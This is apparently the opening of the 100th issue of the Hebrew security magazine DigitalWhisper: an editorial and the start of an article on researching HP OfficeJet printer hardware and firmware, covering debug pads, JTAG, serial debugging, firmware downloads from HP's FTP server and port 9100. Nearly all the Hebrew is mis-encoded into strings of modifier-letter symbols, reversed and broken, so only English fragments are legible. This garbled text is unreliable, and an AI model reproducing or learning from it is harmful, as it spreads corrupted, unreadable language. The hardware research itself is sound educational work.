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 ˫˧˩˶ˣ˰ˢ ˶˟ˡ 

 

 ˭˩˷ ˢˣˣ˵ˬ ˧ˮ˞ ?˫˧ˮ˩ˣˬ ˫˸˞-  :ˢ˶ˣ˵ ˢˤ ˢˮ˧ˢ ˧˩ˢ ˭ˣ˧˪ˠˢ-100  ˭˧ˤˠˬˢ ˪˷DigitalWhisper !˶˶˥ˣ˷ 

 ˢ˟˶ˢ ˨˩ ˪˩ ,ˢˤˢ ˭ˣ˧˪ˠˢ ˪˷ ˢ˥˧˸˲ˢ ˧˶˟ˡ˟ ˟ˣ˸˩˞ ˫˧˞˷ˣˮˣ ˫˧˶˟ˡ ˣ˪˧˞ ˪˰ ˧˸˟˷˥ ˭ˬˤ ˢ˟˶ˢ ˨˩ ˪˩

 ˪˧ˠ˶˩ˣ ˭ˬˤ-  ˸ˣˮˣ˶˩ˤ ˪˰ ?˟ˣ˸˩˪ ˢˬ ˪˰ .˵˧˶ ˢ˧ˢˮ ˧˪˷ ˥ˣˬˢ ,ˢ˥˧˸˲ˢ ˧˶˟ˡ ˸˟˧˸˩ ˡ˰ˣˬ ˰˧ˠˬ˷˩

 ˪˰ ?˫˧ˮˣ˷˞˶ˢ ˸ˣˮˣ˧˪ˠˢˬˢ ˫˸ˣ˞ ?ˣˮ˶˟˰˷ ˫˧˧˷˵ ˪˰˪˩  ˫˧˶˵˧ˢˣ ˫˧ˬ˧ˢˡˬˢ ˫˧˶˟˥ˢˣˮ˩˶ˡ˟ ˣ˶˵ˮ˷ ?

˧˶˥˞100   ˧˶˥˞ ˪˟˞ ,ˡ˧ˠˢ˪ ˢ˴ˣ˶ ˧ˮ˞˷ ˫˧˶˟ˡ ˢ˟˶ˢ ˨˩ ˪˩ ˷˧ ˸ˣˮˣ˧˪ˠ100  ˞˪˷ ˰ˡˣ˧ ˫ˠ ˧ˮ˞ ˸ˣˮˣ˧˪ˠ

 ˟ˣ˸˩˞ ˢˬ ˢˮ˷ˬ-  ˫˧˪˧ˬ ˱˯ˣ˞ ˫ˣ˷ ˫˪ˣ˰˟ ˞˪˲ˮˢ ˭˧ˤˠˬˢ ˧˲˪˩ ˞˪ ,˷˧ˠ˶ˬ ˧ˮ˞˷ ˢˬ ˸˞ ˰˧˟ˢ˪ ˥˧˪˴˧ ˞˪

˧˷ ˸˞ˤˢ ˢˬ˧ˢˡˬˢ ˢ˪˧ˢ˵ˢ ˧˲˪˩ ˞˪ˣ ˢˤˢ ˦ˣ˷˲ ˞ˣˢ ˢˤˢ ˦˵˧˧ˣ˶˲ˢ ˧˸˰ˡ˪˷ .˳˶˞˟ ˣˮ˪ ˷˧˞˶ ˸ˮˣˬ˸ 

.ˢ˪˷ 

 ˢ˧ˢ ˞˶ˣ˵ ˫˧˧˵ ˭ˣ˧˪ˠˢ ˣ˟˷ ˭ˬˤˢ ˵˶˲˟ ,˭ˬˤ ˢ˟˶ˢ ˨˩ ˪˩ ˨˷ˬˮ˷ ˢˤ˩ ˧˸˪˧ˢ˵ ˦˵˧˧ˣ˶˲ ˡˣ˰ ˶˩ˣˤ ˞˪ ˧ˮ˞

˶ˤ˰˟ ˭ˮˣ˩˸ˢ˪ ,˶˲˯ˢ ˸˧˟˟ ˢˬˠˬ˟ ˫˧˶ˣ˰˷˪ ˣˮˬˬ ˡˣˬ˪˪ ˪ˣ˩˧˸ ˧ˮˬ ˪˩ ˪˰ ˣ˸˶ˤ˰˟ ˡˣˬ˪˪ .˞˟˴˟ ˫˧ˮˣ˧ˬ˪ ˣ

˪ ˣ˶ˤ˰˧˷ ˫˧˞˷ˣˮ˪ˢˬ˟ ˣ ˨ ˸˶ˤ˰˟ˣ ˶˶˥˸˷ˢ˪ ˵˧˲˯ˢ˪ ,(...˧˟˶˵ ˸ˣ˶˧˷˟ ˞˪ ˞ˣˢ ˡˣ˰ ˪˩) ˧˞˟˴ˢ ˣ˸ˣ˶˧˷

˦˶˞˦˯ ˫˧˵ˢ˪ ˣ˞ ˢˡˣ˟˰˪ ˪˟˵˸ˢ˪ ˱˞ ˭˧ˤˠˬ˟˷ ˰ˡ˧ˢ- ˧˸˪˟ ˧ˡ ˢˤˣ ˢ˦˰ˬ ˞˪ ˫˧˧˥ ˸˲ˣ˵˸ ˸˞ˤ .˲˞

.˯˲˸ˮ 

ˢˤˢ ˭ˬˤˢ ˵˶˲ ˸˞ ,˧˥ ˭˧ˤˠˬˢ ˣ˟˷  ˧˪˷ ˸ˣˮ˷˵˰˪ ˡ˥˞ ˡ˴ˬ ˱˵ˣˤ ˧ˮ˞ ˢˮ˧˞ ˢˡ˟˪ ˸ˣˮ˷˵˰ ˨˞ ,˶˧ˮ ˪˷ˣ

 ˭˩ˣ˸ˢ ˸˞ .˭˩ˣ˸ ˸˶˴ˣ˧- ˫˸˞ ˭/-  ˧˶˟˥ ˳ˣ˶˟˥ˣ˫˧˶˴ˣ˧ ˢ˪˧ˢ˵ˢ˸ˣ/˫˸˰˴˧˟˷ ˣ˪˞ ˫˸˞ .˭/  ˪˩ ˸˞

˫˸˟˷˧ ,˫˧˶˵˥ˬˢ˭/˫˸ˡ˰˸ ,˭/˫˸˟˸˩ ,˭/ ˫˸ˬ˶˸ˣ˭/ ˫˩ˮˬˤˬ˭/  ,˸˧˶ˬˣ˥ ˢ˶ˣˬ˸ ˫ˣ˷ ˞˪˪ ,˧˷˲ˣ˥ˢ

 ˫˰˲ ˧ˡˬ ,˭ˣ˩ˮ .˭˧ˤˠˬ˪ ˫˧˶ˬ˞ˬ˶ˣ˴ˢ ˢ˪˰ ˵˧˴ˢ˪ ˣ˞ ˶˩ˤ˸˪ ˨)J( ,˰ˡ˧ˢ ˣ˸ˣ˞ ˪˩˪ ˢ˶ˣˬ˸˟ ˢˤ ˢˬ ˨˞ 

 ˢˬ ,˫˴˰˟ .˫˧˪˧˰˲ˢ ˫˧˶˟˥ˢ ˸ˣˬ˩˟ ˡˡˬˮ ˣˮ˪˷ ˢ˪˧ˢ˵ˢ ˸ˣ˩˧˞ ˣ˞ ˵ˤˣ˥ˣ ?˭/˫˩˸ˣ˩ˤ˟ ˢ˶˟˴ ˢ˪˧ˢ˵ˢ˷

?˪˪˩ˢ ˸˟ˣ˦˪ ˫ˬ˴˰ˬ ˸˸˪ ˫˧ˮ˩ˣˬ˷ ˫˧˷ˮ˞ ˪˷ ˢ˶ˣ˟˥ ˞˪ ˫˞ ˢ˪˧ˢ˵ ˸˞ˤ 

 ˢ˰˧ˠˬˣ ˟˧˟˥˸˩ ˸˶ˡˠˣˬ ˞˧ˢ ˶˷˞˩ ˡˣ˥˧˧˟ ,ˢ˦ˣ˷˲ ˢˬ˧˷ˬ ˞˪ ˸˞ˤ ˢˤˢ ˶˧ˡ˞ˢ ˦˵˧˧ˣ˶˲ˢ ˸˞ ˪˧˟ˣˢ˪

˫˧˧˥ˢ ˸ˣˬ˧˷ˬ ˶˞˷ ˶˥˞˪ . ,ˢ˦ˣ˷˲ ˢˬ˧˷ˬ ˞˪ ˞˧ˢ ˦˪˥ˢ˟ ˞˧ˢ ˨˞˸˪ˬˠ˸ˬ˪˰ ˟ˣ˷˥˪ ˧˪ ˱˧˩ .  ˭˧˧ˮ˰ˢ

ˢ ˰ˡ˧ ˶ˠ˞ˬ ˸ˣ˧ˢ˪ ˢ˩˲ˢ ˡˡˣ˟ ˫˧˶˲˯ ˶˲˯ˬˬ˷ ,ˣˤˢ ˢ˧˧˶˲˯˟ ˷ˡ˥ ˱ˡˬ ˫˧ˮ˧˵˸ˬ ˣˮ˥ˮ˞ ˷ˡˣ˥ ˪˩˷ ˢˤ

.ˣ˪ ˢ˞ˬ˴ ˨˩ ˪˩ ˢ˸˧˧ˢ ˸˧˶˟˰ˢ ˢ˲˷ˢ˷ ˫ˣ˥˸˟ ,˫ˣ˴˰  ˦˰ˬ˩ ˧ˮ˲˪20  ˸˞ ˶˧˩ˢ˪ ˧˸˪˥˸ˢ ˵˶˷˩ ,ˢˮ˷

˞ˣ˴ˬ˪ ˧ˣ˩˧˯ˢ ,˫ˣ˥˸ˢ  ˦˰ˬ˩ ˢ˧ˢ ˢˬ˧˰ˮˣ ˢ˥ˣˮ ˢ˲˷˟ ˷ˠˮˣˬˣ ,ˣ˧˪˰ ˨ˣˬ˯˪ ˶˷˲˞ ˸ˬ˞˟˷ ˞˷ˣˮ˟ ˶ˬˣ˥

 ˢˤˢ ˦˵˧˧ˣ˶˲ˢ ˸ˣ˩ˤ˟ ,˫ˣ˧ˢˣ .˧˶˷˲˞ ˧˸˪˟-  ˧˸˧˧ˢ ˢ˲˧˞ ˪˰ ˟ˣ˷˥˪ ˢ˯ˮˬ ˧ˮ˞ .ˢ˴˵˪ ˢ˴˵ˬ ˧ˣˮ˧˷ ˣˮ˧˷˰

 ˨ˣ˸˟ ˫˧ˮˣ˷˞˶ˢ ˧ˡ˰˴ ˸˞ ˸ˣ˷˰˪ ˧˸˪˥˸ˢ ˵˶ ˶˷˞˩ ,ˡ˧ ˠ˷˧ˢ˟ ˢˤˢ ˰ˡ˧ˬˢ ˶ˠ˞ˬ ˸˞ ˧˪ ˢ˧ˢ ˫˞ ˫ˣ˧ˢ

ˢ ˫˪ˣ˰ˢ ˪˩ ˣ˧˷˩˰ ˵˶˷ ˫˧˶˧˰˴ ˫˧˶˟˥ ˫˸ˣ˞ ˪˩˪ ˫˷ ˞ˣˢ˷ ˥ˬ˷ ˨˩ ˪˩ ˧ˮ˞ˣ .ˢˤˢ ˟˧ˢ˶ˬˢ ˧˪˦˧ˠ˧ˡ

.˭˧ˤˠˬˢ ˪˷ ˫˧˵˶ˣ˰˟ ˫˶ˣˤ˷ ˰ˡ˧ˬ ˣ˸ˣ˞ ˪˩˪ ˫˧˞ˬ˴ˣ ,˫ˣ˥˸˟ ˫ˢ˧ˮ˧˰ ˸˞ ˫˧˥˵ˣ˲ 
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˷ ˢˣˣ˵ˬ ˧ˮ˞) ˣˮ˪˷ ˦˵˧˧ˣ˶˲ˢ ˸˥˪˴ˢ˷ ˸ˣ˞˶˪ ˡˣ˞ˬ ˥ˬ˷ ˧˸˧˧ˢ-100  ˪˩˟ ˢ˥˪˴ˢ˩ ˶˧ˡˠˢ˪ ˶˷˲˞ ˸ˣˮˣ˧˪ˠ

ˢ˞˶˷ˢ ˢˣˣˢ˸ (ˢˡ˧ˬ ˢˮ˵  ˪˩ˣ˸ ˢ˪˧ˢ˵ˢ ˭ˢ˟˷ ,˸ˣˬ˶ˣ˲˦˪˲ ˡˣ˰ ˸ˣˮ˟˪ˣ ˫ˣˤ˧˪ ˢ˪˧ˢ˵ˢˬ ˫˧˲˯ˣˮ ˫˧˶˟˥˪

.˫˧˲˸ˣ˷ˢ ˪˪˩ ˸˞ ˣ˶˧˷˰˧˷ ˸ˣ˲˯ˣˮ ˸ˣ˵˧ˬˮ˧ˡ ˶ˣ˴˧˪ ˨˩ˣ ,˫ˣ˶˸˪ˣ ˱˸˸˷ˢ˪ 

100 ˬ ˶˸ˣ˧ ˸˴˵ ˞˴ˣ˧ ˢˤ ˸ˣˮˣ˧˪ˠ-8 ˬ ˶˸ˣ˧ ˸˴˵ ˞˴ˣ˧ .ˢ˧˧˷˰ ˪˷ ˫˧ˮ˷-460  ˶˸ˣ˧ ˸˴˵ ˞˴ˣ˧ ˢˤ ,˫˧˶ˬ˞ˬ

-ˬ7,200  ˫˧ˡˣˬ˰˸˶ˤ˰˟ ˢ˷˰ˮ ˪˩ˢˣ ˬ ˸ˣ˥˲ ˞˪-240  .˫˧ˮˣ˷ ˫˧˟˸ˣ˩100  ,˱ˣ˯ˢ ˞˪ ˢˤ ˸ˣˮˣ˧˪ˠ100 

ˢˤ ˸ˣˮˣ˧˪ˠ ˫ˣ'ˠˣ˶ ˵˶ ˢ ˨˶ˣ˞˪ ˡ˰ .˨˶ˡ˭˞˪  ˡ˰ ?˨˧˷ˬˮ˭˩˧ˢ  ?˰˧ˠˮ ˸˞ ˣˤˢ ˢ˪˞˷˪ ˢ˟ˣ˷˸ˢ-  ˶˧˞˷˞ ˧ˮ˞

.˭/˫˩˪ 

 ˨˶ˣ˞˪ ˣˮ˸˧˞ ˡ˰˴ˣ ˫˯˶˲ ,˟˴˧˰ ,˶˵˥ ,˶˧˧˞ ,˟˸˩ ,˨˶˰ ,˰˧˵˷ˢ ,˨ˬ˸ ,ˡ˧ ˭˸ˮ˷ ˧ˬ ˪˩˪ ˸ˣˡˣˢ˪ ˣˮˮˣ˴˶˟

˪ .˨˶ˡˢ) ˢ˩ˣ˶˞ ˸ˬ˞˟ ˢˬ˧˷˶ˢ ˧˩ ,ˢ˩ ˡ˰ ˫˧˟˸ˣ˩ˢ ˪˩ ˸ˣˬ˷ ˸˞ ˭˞˩ ˟ˣ˸˩˞ ˞ˣ ˸˞ ˫˩˪ ˷˧ ˢˤ ˪˧˟˷˟

(ˣˮ˪˷ ˶˞ˣ˲ˬˢ ˸ˣˡˣ˸ˢ ˡˣˬ˰˷˧˞ ˧ˮ˞ .˧ˢ˪ ˢ˴ˣ˶ ˸˪ ˢˮˣ˷˞˶˟ˣ ˷˞˶˟ ˸ˣˡˣ˶˞ ˓ ˧ˢ ˢ˩˧ˬ˸ˢ ˪˰ ,˧˸˷˧˞ ,

ˣˤˢ ˨˶ˡˢ ˪˩ ˨˶ˣ˞˪ ˢˮ˟ˢˢˣˢˬ˧ˢˡˬ ˸˞ ,˪ . ˶ˡ˞ ˶˧ˮ-  ˧˲˸ˣ˷ˣˤˢ ˢ˞˪˲ˣˬˢ ˢ˞˵˸˲˶ˢ˪ ,˪˪˞˧ˮˡ ˵˥˴˧ 

)iTK98( ˸˧˦˯˧ˠˣ˪ˢ ˢ˶ˤ˰ˢ ˪˩ ˪˰,˸ˣ˶˥˸ˢ ˯˶˲ ˸ˬˣ˶˸ ˪˰ ,  ˪˩˟ ˢ˩˧ˬ˸ˢˣ ˸ˣˬ˸˶˧ˢˢ˸˧˧ˠˣ˯ s ˸˵˲

.˸ˣ˴˪ˣ˥ˢ 

 ˢ˟˶ ˢˡˣ˸ ˫ˠ .˧˲ˣ˯ˢ ˟ˣ˴˧˰ˢ ˸˞ ˶ˣ˥˟˪ ˣˮ˪ ˶ˤ˰ˣ ˰˧˟˴ˢ ˣ˞ ˟˴˧˰ ,˟ˣ˴˧˰ˢ ˸ˣ˶˥˸˟ ˱˸˸˷ˢ˷ ˧ˬ ˪˩˪

 ˭˟ˣˬ˩ˣ- ˪ ˢ˟˶ ˢˡˣ˸ ˞ˮˢ˩ ˟˞ˣ˧:˸ˣ˶˥˸˟ ˢ˩ˤ˷ ˟ˣ˴˧˰ˢ ˪˰ 
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ˠˢ˷ ˧ˬ ˪˩˪ ˫ˠ ˢ˟˶ ˢˡˣ˸ ˶˵˧˦˯˪ ˟ˣ˴˧˰ ˷˧-  ˸˞ ˫ˠ ˫˧˶ˢ˪ ˣˮ˥˪˴ˢ ˞˪ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟˷ ˫˧˪˴ˮ˸ˬ ˣˮ˞

.ˣˤˢ ˸˧ˮ˩ˣ˸ˢ ˸˞ ˫ˠ ˫ˡ˵˪ ˧ˡ˩ ˸ˣ˟ˣ˶˵ˢ ˸ˣˠˣ˲ˢˢ ˸˥˞ ˸˞ ˪˴ˮ˪ ˪ˡ˸˷ˮ ˣˮ˞ ˨˞ ,ˣˤˢ ˸˧ˮ˩ˣ˸ˢ 

ˡ˥ˣ˧ˬ ˢˡˣ˸ ˸ ˸˶˟˥˪ ˡ˧ˠˢ˪ ˭˧˧ˮˣ˰ˬ ˧ˮ˞ThinkCyber , ˸˞ ˵˪˥˪ ˢ˧ˢ ˣˮ˪˷ ˧˶ˣ˵ˬˢ ˭ˣˮ˩˸ˢ :˟˵˰ ˞˪˷ ˧ˬ˪

ˢ ˭ˣ˧˪ˠˢ ˡˣ˟˩˪ ˣˮ˯˲ˡˢ˷ ˸ˣ˴˪ˣ˥ˢ-100  ˫ˮ˧˥˟ ˰˧ˠˬ ˭˧ˤˠˬˢ˷ ˣˬ˩ ˵ˣ˧ˡ˟ .˫ˮ˧˥˟-  ˸ˣ˴˪ˣ˥ˢ ˫ˠ˷ ˣˮ˧˴˶ ˨˩

 ˸ˮˬ ˪˰ ˸ˣ˴˪ˣ˥ˢ ˸˯˲ˡˢ ˪˷ ˸ˣ˪˰ˢ ˟˶ ˸˞ ˭ˬˬ˸˷ ˢ˶˟˥ ˠ˧˷ˢ˪ ˣˮ˥˪˴ˢ ˨˩ ˸˟ˣ˦˪ˣ .˸ˣ˪˰ ˞˪˪ ˣ˧ˢ˧
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 ,˫˪ˣ˰˟ ˧˪˦˧ˠ˧ˡ ˭˩ˣ˸ ˱ˣ˸˧˷˪ ˸˧ˤ˩˶ˬˢ ˨˶ˡˢ ˢ˸˧˧ˢ ˯˵˲ ˸˥˧˪˷ ˫˧ˮˣˬ˷ˢˣ ˫˧˰˟˷ˢ ˸ˣˮ˷˟ .˸˧ˮ˶ˡˣˬˢ
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 ˣˮ˸˷ˢ ˞˪ˣ ˦˰ˬ˩ ˫ˬ˴˰ ˯˵˲ˢ ˧˪ˣ˵ˣ˦ˣ˶˲˷ ˸ˣ˶ˬ˪ ,˫˧ˮ˧˟ˬ ˫˸˞ .˧ˮ˶ˡˣˬˢ ˯˵˲ˢ ˢ˞˶ˮ ˨˧˞ ˭˧˟ˢ˪ ˫ˡˣ˵
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ˣ˧ˡ˶ ˣˬ˩ ,˶˸ˣ˧ ˸ˣ˧ˮ˶ˡˣˬ ˸ˣ˧ˠˣ˪ˣˮ˩˦˟ ˫˧˶˵ˬˢ-˯˵˲ ,˯˵˲- ˷ˣˬ˧˷ˢ ˪˟˞ .˼ˣ˩ˣ ,˪˧˧ˬ˧˞˪ ˯˵˲ ˧˸ˣ˶˧˷ ,˧ˮ˧ˣˣ˪
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ˢˬ ˪˰ˬ ˫˰ ˢˤˢ ˫ˣ˥˸˟ ˸˧ˡ˰˪˟ˢ ˢ˪˧˟ˣˬˢ ˞˧ˢ ˸˥˞ ˢ˶˟˥˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˰˧˸˲ˬ ˞˪ ˭˲ˣ˞˟ ,˸ˣ˯˲ˡˬ-

40%  ˭˟ˣˬ˩ ˞˧ˢ ˣˤˢ ˢ˶˟˥ˢ .˵ˣ˷ˢ ˥˸ˮˬHP.  ˫ˠˡˢ ˸˞ ˣˮˠ˷ˢˣ ,ˢ˟ˣ˶˵ˢ ˫˧˟˷˥ˬˢ ˸ˣˮ˥˪ ˣˮ˴˲˵ ˤ˞

 ˶˧˩ˢ˪ ˫˧˰ˮ ,ˠ˧˷ˢ˪ ˣˮ˪ˣ˩˧˷ ˶˸ˣ˧˟ ˳ˣ˲ˮˢ-HP OfficeJet 6830. 
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˸ˠ˷ˢ s-Firmware 

˸˶˧˟˷ ˸˯˲ˡˬˢ ˸ˠ˴ˢˣ s-PCB 

 ˷ˬˬ ˶ˬˣ˪˩ ,˸˯˲ˡˬˢ ˸˞ ˶ˣ˟˷˪ ˢ˴˶ˮ ˨˩ ˫˷˪ˣ ˯˵˲ˢ ˸˞ ˶ˣ˟˷˪ ˞˧ˢ ˣˮ˪˷ ˢ˶˦ˬˢ˶ˣ˟˷˪  ˸˞

:˸˯˲ˡˬˢ 

 

) ˫˞ˢ ˥ˣ˪ ,˶˴ˣˬ ˪˩˟ ˣˬ˩board ˨ˣ˶˞ ˞˪ ˨˧˪ˢ˸ ˧˶˥˞ ˪˟˞ ,˫˧˟˧˩˶ ˢ˟˶ˢ ˧ˡ ˪˧˩ˬ ˸˯˲ˡˬˢ ˪˷ (

:˞˟ˢ ˧˸ˬ˩˯ˢ ˫˧˷˶˸˪ ˪ˠ˰ˬˢ ˸˞ ˸˴ˬ˸˪ ˣˮ˥˪˴ˢ 

 

 ˟˩˶ˣˬ ˪ˠ˰ˬˢ ,ˢ˶˴˵˟ˣ) ˧˷˞˶ ˡ˟˰ˬˬARM 32  ˦˧˟- Big Endian ˪˩ˢˣ ˸˯˲ˡˬˢ ˪ˣˢ˧ˮ ˪˰ ˧˞˶˥˞˷ (

:ˣ˩˶ˡ ˶˟ˣ˰ 

¶ ˶ˣ˟˧˥ ˸˷˶ ˠˣ˯ˬ Ethernet - ˢ˷˧ˠ ˸˷˶˪ ˸˧ˮˣˠ˶˞ˢ ˸˧ˣˣ˵ˢ 

¶ ˶ˣ˟˧˥ ˭ˣ˲˪˦ - ˸˪˟˵˪  /˸˥˧˪˷ ˫˧˯˵˲ 

¶ ˶ˣ˟˧˥ USB 

¶ ˶ˣ˟˧˥ Serial Debugging - ˶˟˩ ˢ˪˥˸ˢ ˢ˟ˣ˦ ˣˮ˸ˮ˧˥˟ˬ J 

¶ ˭ˣ˶˩ˤ ˱˸ˣ˷ˬ ˡ˟˰ˬ˪ ˢˮ˷ˬ ˧˞˶˥˞˷ ˪˰ ˪ˣˢ˧ˮ ˨˯ˬ s-LCD 

ˢ ˸˞ ˢˮˬˬ ˟ˣ˪˥˪ ˭ˬˤˢ ˢˤ ,ˢ˶ˬˣ˥ˢ ˸˞˶ˮ ˨˧˞ ˨˶˰˟ ˣˮ˟ˢ˷˩ ˣ˧˷˩˰-Firmware .ˡˣ˟˰˪ ˪˧˥˸ˢ˪ˣ 
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˧˵˷ˬˬ debug ˢ˶ˬˣ˥˟ 

 ˢˣˣ˵˸˟ ˪˩ˣˮ˷ ˠ˞˟˧ˡ ˧˵˷ˬˬ (!) ˧ˮ˷ ˞˪˞ ˡ˥˞ ˞˪ ˣˬ˩ ˢ˞˶ˮ˷ ˢˬ ˣˮ˞˴ˬ ˫˞ˢ ˥ˣ˪ ˸˶˧˵˯ ˨˪ˢˬ˟

 ˭ˣ˶˩ˤ ˸˞ ˞ˣ˶˵˪ ˧ˡ˩ ˫ˠˣ ˶˵˥ˬˢ ˨˧˪ˢ˸˟ ˫ˠ ˫ˢ˟ ˷ˬ˸˷ˢ˪ˢ ˸˞ ˢˮˬˬ ˟ˣ˪˥˪ ˧ˡ˩ ˸˯˲ˡˬˢ-

Firmware. 

 

]˧˵˷ˬˬ Debug ˪˰ ˥ˣ˪ ˫˞ˢ ˪˷ ˸˯˲ˡˬˢ[ 

JTAG 

.˪˰˲ˬˢˬ ˸˞˴ˣ˧ ˸˯˲ˡˬˢ˷ ˶˥˞˪ ˷ˬ˷ˣˬ ˣˮ˧˞ ˞ˣˢ ˧˩ˣ ˥ˣ˸˧˲ ˧˩˶˴˪ ˵˶ ˷ˬ˷ˬ ˵˷ˬˬˢ˷ ˢ˞˶ˮ ,ˣˮ˶˰˴˪ 

Serial Debug 

 ˭˩˞ˣ ,˧ˮ˷ˢ ˵˷ˬˬˢ ˪˰ ˫˧˶˸ˣˣˬ ˞˪ ˣˮ˥ˮ˞˷ ˣˮ˦˪˥ˢ ,ˣˮ˸ˣ˞ ˟ˤ˩˞ ˭ˣ˷˞˶ˢ ˵˷ˬˬˢ˷ ˧˶˥˞ ˣˮ˥˪˴ˢ

:ˣ˧˪˞ ˶˟˥˸ˢ˪ 

 

 ˣˬ˩) ˸ˣˡˣ˵˲ ˪˷ ˦˰ˣˬ ˶˲˯ˬ˷ ˡˣ˰˟άƭǎέ:˞˟ˢ ˦˪˲ˢ ˸˞ ˣˮ˪ ˣ˶˧ˤ˥ˢ ˸ˣˡˣ˵˲ˢ ˸˧˟˶ˬ ,ˢ˲ˣ˴ˬ˩ ˡ˟˰ ( 
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FTP ˪˷ HP 

ˢ ˸˞ ˢˬ˴˰˪ ˭˩ˡ˰˪ ˸˰ˡˣ˧ ˸˯˲ˡˬˢ˷ ˣˮ˶˩ˤˮ ,ˢ˶ˣ˟˷ (˸˯˲ˡˬ) ˸˵ˣ˷ ˪ˣˬ ˣˮ˰˵˸ˮ˷ ˧˶˥˞-firmware 

 ˪˧˰˲ˢ˪ ˣˮ˦˪˥ˢˣ ˢ˷ˡ˥ ˸˯˲ˡˬ ˣˮ˥˵˪ ˤ˞ .˵ˣ˥˶ˬwireshark  ˸˞ ˸˪˟˵ˬ ˞˧ˢ ˨˧˞ˣ ˢˮˣ˲ ˞˧ˢ ˭˞˪ ˵ˣˡ˟˪ˣ

ˢ ˸˶˷ˬ ˭ˣ˩ˡ˰ˢ ˸˞ ˢˡ˧˶ˣˬ ˸˯˲ˡˬˢ˷ ˶˶˟˸ˬ .˭ˣ˩ˡ˰ˢ-FTP  :˞˟ˢftp://ftp.hp.com/pub ˶˟˸˯ˬ .

 ˶˸˞ ˣˮ˞˴ˬ˷˫ˣ˴˰  ˪˩ ˪˪ˣ˩˷Firmware  ˪˷ ˣˢ˷˪˩ ˶˴ˣˬ ˪˩˪HP ˫ˠ ,HP Inc  ˫ˠˣ (˸ˣ˯˲ˡˬ)HPE 

ˢ˷˰ˬ˪ .(˫˧˸˶˷) ,˸˥˪ˣ˷ ˸˯˲ˡˬˢ˷ ˸˵˧˧ˣˡˬˢ ˢ˷˵˟ˢ ˧˶˥˞ ˟ˣ˵˰˪ ˨˧˶˴˷ ,˪ˣˡˠ ˨˩ ˪˩ ˢˤˢ ˶˸˞ˢ ,

ˢ ˸˞ ˞˵ˣˣˡ ˞ˣ˴ˬ˪ ˥˧˪˴ˮ ˞˪ˣ ˡˣ˟˧˞˪ ˨˪ˮ ˡˣ˰ ˸˶˥˞-Firmware  ...˫˧˩˧˶˴ ˣˮ˥ˮ˞˷ 

)om/pub/networking/software/pfirmware/ojpro_8720_1803A_01172018.rfuftp://ftp.hp.c( 

˥˵˪ ˡ˟˰˧ˡ˟ - #1 

ˢ ˸˯˶ˠ ˸˞ ˡ˧˶ˣˢ˪ ˸ˮˬ ˪˰-Firmware  ˪˷ ˣˢ˷˪˩ ˶˴ˣˬ ˪˷ ˶˸ˣ˧˟ ˸˧ˮ˩ˡ˰ˢHP  ˪˰ ˫ˠ ˡˣ˟˰˧ ˢ˞˶ˮ˩)

 ˪˷ ˶˸˞˟ ˷ˣ˪ˠ˪ ˭˸˧ˮ ,(˫˧˶˥˞ ˫˧ˮ˶˴˧HP  ˳˟ˣ˵ ˡ˧˶ˣˢ˪ˣ ,˶˴ˣˬˢ ˪˷ ˡˣˬ˰˪.exe ˢ ˸˞ ˭˩ˡ˰˧˷-Firmware 

 ˸ˣ˰˴ˬ˞˟ ˪"ˮˢ ˳˟ˣ˵ˢ ˸˞ ˥˸˲ˮ ˫˞ .˸˧ˮ˩ˡ˰ˢ ˣ˸˯˶ˠ˪7zip  ˭ˣ˩ˡ˰ ˳˟ˣ˵ ˣ˸ˣ˞ ˸˞ ˣ˩ˣ˸˟ ˞ˣ˴ˬ˪ ˪˩ˣˮ

˟ ˣˮ˞˴ˬ˷-FTP) ˸˯˲ˡˬˢ ˪˷ ˧ˬ˷˶ˢ ˫ˠˡˢ ˫˷ ˭˧˟ ˪˟˪˟˸ˢ˪ ˨˶˦˴ˮ ˞˪ ˨˩ˣ ,OfficeJet 8720 ˫˷ˢ ˭˧˟˪ (

˷ ˧ˬ˧ˮ˲ˢ-HP ) ˢ˪ ˣˮ˸ˮweber.( 

 

:˭ˣ˩ˡ˰  ˢˮˣ˶˥˞ˢ ˢ˲ˣ˵˸˟˷ ˢ˞˶ˮHP ˟ ˫˧˴˟˵ˢ ˸ˣˬ˷ ˸˞ ˦˰ˬ ˣ˶ˡ˧˯-FTP  ˭ˣ˩ˡ˰ˢ ˧˴˟˵ ˸˰˩ˣ ,˫ˢ˪˷

) ˫ˠˡˢ ˫˷ ˧˲˪ ˢ˥ˣˮ ˢ˶ˣ˴˟ ˫˧˰˧˲ˣˬojpro 8720) ˧ˬ˧ˮ˲ˢ ˶˴ˣˬˢ ˫˷ ˧˲˪ ˫ˣ˵ˬ˟ (weber ˡ˰ ˢ˧ˢ˷ ˧˲˩ (

.ˢ˩ 

  

ftp://ftp.hp.com/pub
ftp://ftp.hp.com/pub/networking/software/pfirmware/ojpro_8720_1803A_01172018.rfu
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˭ˣ˥˟˞ ˢˮ˟ˬ s-Firmware 

ˢ ˭ˣ˩ˡ˰ ˳˟ˣ˵ ˸˞ ˣˮ˪ ˷˧˷ ˣ˧˷˩˰ ˤ˞ ,˧˧˵ˣ˞-firmware  ˣˮ˥ˮ˞˫˧˩˧˶˴  ?ˣ˟ ˫˧˷ˬ˸˷ˬ ˪ˤ˞ˤ˰˪ ˨˧˞ ˭˧˟ˢ˪ ˵˶

 ˫˧ˮ˩ˡ˰ˬ ˨˧˞ ,˶ˬˣ˪˩firmware ?˸˯˲ˡˬ˟  ˢ˦ˣ˷˲ ˡˣ˞ˬ ˞˧ˢ ˣˮ˸˰˸˲ˢ˪ ,ˢ˟ˣ˷˸ˢ-  ˣ˸ˣ˞ ˫˧˯˧˲ˡˬJ 

 ˸ˣ˯˲ˡˬ˪˷ ˶˟˸˯ˬ ,˭˩HP  ˪˰ ˫˧˥ˣ˸˲ ˫˧˦˶ˣ˲ ˵ˣ˶˯˪ ˫˩˪ ˞˴˧ ˫˰˲ ˧˞ ˫˞ .˧ˡˣ˰˧˧ ˢ˯˲ˡˢ ˪ˣ˵ˣ˦ˣ˶˲ ˷˧

˦˶ˣ˲˟ ˫˸˪˵˸ˮˣ ˸˯˲ˡˬTCP/9100  ˞ˬˣ ˥ˣ˸˲ ˭˧ˤ- .˶˟ˣˡˬ ˢˤ ˪˰ ˵ˣ˧ˡ˟  ˢˤˢ ˦˶ˣ˲˟ ˸˷ˬ˸˷ˬ ˸˯˲ˡˬˢ

